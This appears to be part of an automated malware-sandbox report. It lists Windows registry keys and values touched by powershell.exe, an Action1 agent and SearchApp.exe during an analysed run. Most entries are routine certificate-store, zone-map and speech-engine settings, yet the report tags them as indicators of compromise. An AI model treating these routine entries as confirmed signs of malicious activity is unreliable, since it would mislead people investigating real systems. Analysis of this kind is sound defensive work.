Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4f533928b\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.MixedRe = "Mixed Reality Portal"	action1_agent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4595840bd\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x = "Your Phone"	action1_agent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\c1041.fe"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search\ = "56"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\AI041040"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\de-DE-N\\AI041031"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\MSTTSLocdeDE.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\r1033sr.lxa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Has seleccionado %1 como voz predeterminada."	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\MuiCache	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "309C 309C 30A1 30A1 30A2 30A2 30A3 30A3 30A4 30A4 30A5 30A5 30A6 30A6 30A7 30A7 30A8 30A8 30A9 30A9 30AA 30AA 30AB 30AB 30AC 30AC 30AD 30AD 30AE 30AE 30AF 30AF 30B0 30B0 30B1 30B1 30B2 30B2 30B3 30B3 30B4 30B4 30B5 30B5 30B6 30B6 30B7 30B7 30B8 30B8 30B9 30B9 30BA 30BA 30BB 30BB 30BC 30BC 30BD 30BD 30BE 30BE 30BF 30BF 30C0 30C0 30C1 30C1 30C2 30C2 30C3 30C3 30C4 30C4 30C5 30C5 30C6 30C6 30C7 30C7 30C8 30C8 30C9 30C9 30CA 30CA 30CB 30CB 30CC 30CC 30CD 30CD 30CE 30CE 30CF 30CF 30D0 30D0 30D1 30D1 30D2 30D2 30D3 30D3 30D4 30D4 30D5 30D5 30D6 30D6 30D7 30D7 30D8 30D8 30D9 30D9 30DA 30DA 30DB 30DB 30DC 30DC 30DD 30DD 30DE 30DE 30DF 30DF 30E0 30E0 30E1 30E1 30E2 30E2 30E3 30E3 30E4 30E4 30E5 30E5 30E6 30E6 30E7 30E7 30E8 30E8 30E9 30E9 30EA 30EA 30EB 30EB 30EC 30EC 30ED 30ED 30EE 30EE 30EF 30EF 30F0 30F0 30F1 30F1 30F2 30F2 30F3 30F3 30F4 30F4 30F5 30F5 30F6 30F6 30F7 30F7 30F8 30F8 30F9 30F9 30FA 30FA 30FB 30FB 30FC 30FC 30FD 30FD 30FE 30FE 0021 0021 0027 0027 002B 002B 002E 002E 003F 003F 005F 005F 007C 007C"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Katja"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Katja"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\de-DE\\VoiceActivation_HW_de-DE.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Laura"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "411"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "409"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "MS-1040-110-WINMO-DNN"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Speech HW Voice Activation - Italian (Italy)"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Hedda"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Zira - English (United States)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\MSTTSLocenUS.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\es-ES-N\\L3082"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; telephone=NativeSupported; computer=NativeSupported; address=NativeSupported; currency=NativeSupported; message=NativeSupported; media=NativeSupported; url=NativeSupported; alphanumeric=NativeSupported"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\ja-JP\\sidubm.table"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "002D 002D 0021 0021 0026 0026 002C 002C 002E 002E 003F 003F 005F 005F 002B 002B 002A 002A 02C9 02C9 02CA 02CA 02C7 02C7 02CB 02CB 02D9 02D9 3000 3000 3105 3105 3106 3106 3107 3107 3108 3108 3109 3109 310A 310A 310B 310B 310C 310C 310D 310D 310E 310E 310F 310F 3110 3110 3111 3111 3112 3112 3113 3113 3114 3114 3115 3115 3116 3116 3117 3117 3118 3118 3119 3119 3127 3127 3128 3128 3129 3129 311A 311A 311B 311B 311C 311C 311D 311D 311E 311E 311F 311F 3120 3120 3121 3121 3122 3122 3123 3123 3124 3124 3125 3125 3126 3126"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Hedda"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Julie"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Elsa - Italian (Italy)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "40A;C0A"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR de-DE Lts Lexicon"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "MS-1033-110-WINMO-DNN"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR es-ES Lookup Lexicon"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\fr-FR\\M1036Hortense"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Elsa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR ja-JP Lts Lexicon"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Speech_OneCore\\CortanaVoices\\Tokens\\MSTTS_V110_enUS_EvaM"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "1033"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR es-ES Lts Lexicon"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\AI041036"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\ja-JP\\M1041Haruka"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "{14E74C62-DC97-43B0-8F2F-581496A65D60}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\de-DE-N\\r1031sr.lxa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Katja - German (Germany)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "MS-1041-110-WINMO-DNN"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR ja-JP Locale Handler"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR de-DE Lookup Lexicon"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\de-DE-N\\L1031"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Stefan"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search\ = "23"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "804"	SearchApp.exe
